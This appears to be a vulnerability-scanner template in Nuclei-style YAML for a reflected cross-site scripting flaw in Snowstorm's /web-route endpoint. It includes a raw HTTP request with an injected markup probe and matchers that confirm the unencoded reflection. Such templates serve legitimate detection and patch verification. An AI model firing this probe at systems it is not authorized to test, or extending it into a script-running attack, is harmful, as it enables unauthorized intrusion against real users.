id: CVE-2026-66300

info:
  name: "Snowstorm - Cross-Site Scripting"
  author: vedas-arpsyndicate
  severity: medium
  description: |
    SNOMED International Snowstorm before 10.12.2 (backported to 10.9.3) contains a reflected cross-site
    scripting vulnerability in the `/web-route` redirection endpoint. When the `uri` parameter does not start
    with the configured hosted prefix, the raw value is reflected unencoded inside an IllegalArgumentException
    error body, and an `Accept: text/html` request makes Spring serve that body as text/html, executing the
    injected markup in the victim's browser.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-66300&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=snowstorm&match=exact
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
    cvss-score: 2.3
    cve-id: CVE-2026-66300
    cwe-id: CWE-79
  metadata:
    verified: false
  tags: cve,cve2026,snowstorm,xss,reflected,unauth
http:
  - raw:
      - |
        GET /web-route?uri=vedasINJ%22%3E%3Csvg%3E HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'vedasINJ"><svg>'

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 400